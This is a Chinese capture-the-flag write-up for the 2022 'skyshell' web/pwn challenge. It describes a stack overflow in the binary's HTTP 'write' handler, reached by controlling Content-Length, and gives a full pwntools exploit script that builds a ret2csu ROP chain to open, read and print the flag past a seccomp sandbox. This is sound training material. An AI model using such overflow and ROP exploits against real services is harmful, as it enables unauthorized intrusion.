2022赣育杯之skyshell

一道webpwn,据说用web做法一会就出来了,但是我只会pwn(悲),这里就用pwn的解题思路来做做看。
**

题目考点

**

http协议,堆栈溢出漏洞利用,orw rop链构造,seccomp保护
2022赣育杯之skyshell_第1张图片
存在沙盒,不过好在orw功能齐全,不用我们来泄露libc
根据hint"***查找write命令网络响应内容的关键字,定位到该位置进行分析。***"
我们之间定位到2022赣育杯之skyshell_第2张图片很明显这里有个memcpy,很有可能存在溢出,这里的dest在栈上偏移是0x5d8,this+2是我们输入存入地址的指针,v1大概率是我们可以控制的,但是想要到这里得让this+0xd8是“write”。涉及到我的盲点,还好有位师傅告诉我怎么到
我们尝试输入0x1000个字节
2022赣育杯之skyshell_第3张图片
溢出了
2022赣育杯之skyshell_第4张图片
发现这里的长度是我们可以控制的,意料之中,控制context-length即可,我们就得到了一个栈溢出

2022赣育杯之skyshell_第5张图片
后面就是简单的re2cus来进行orw了

#!/usr/bin/python3
# -*- encoding: utf-8 -*-
from pwn import *
context(os='linux',arch='amd64', log_level='debug')#arch = 'i386')
filename='./pwn'
io=process(filename)

#libc=ELF('./libc.so.6')
elf=ELF(filename)
r   =  lambda x : io.recv(x)
ra  =  lambda   : io.recvall()
rl  =  lambda   : io.recvline(keepends = True)
ru  =  lambda x : io.recvuntil(x, drop = True)
s   =  lambda x : io.send(x)
sl  =  lambda x : io.sendline(x)
sa  =  lambda x, y : io.sendafter(x, y)
sla =  lambda x, y : io.sendlineafter(x, y)
ia  =  lambda : io.interactive()
c   =  lambda : io.close()
li  = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')


# if local debug
LOCAL = 0
LIBC  = 0
#--------------------------func-----------------------------
def db():
	if(LOCAL):
		gdb.attach(io)

def post(d):
	p =  b'POST /?request=write HTTP/1.1\r\n'
	p += b'Content-Length: ' + str(len(d)).encode() + b'\r\n'
	p += b'\r\n'
	p += d
	s(p)				
def exploit():
	li('exploit...')
	gadget_init = 0x41127a
	gadget_call = 0x411260
	buf = 0x619f00
	flag_addr =buf
	buz=buf+0x100
	p = b'A' * 0x5d8
	rop = flat([
	gadget_init,
	0, 1,
	elf.got['read'],0x100,flag_addr ,0, 
	gadget_call,
	0, 0,1,
	elf.got['open'],0,0, flag_addr, 
	gadget_call,
	0, 0, 1,
	elf.got['read'], 0x100, flag_addr,3, 
	gadget_call,
	0, 0, 1,
	elf.got['write'],0x100, flag_addr, 1, 
	gadget_call
	])
	p += rop
	
	
	post(p)
	gdb.attach(io)
	sl('./flag\x00')
	
def finish():
	ia()
	c()
exploit()
finish()

2022赣育杯之skyshell_第6张图片
成功

致谢:感谢南昌航空大学科技学院的一位师傅,没有他我不会知道怎么控制write

你可能感兴趣的:(网络安全,pwn)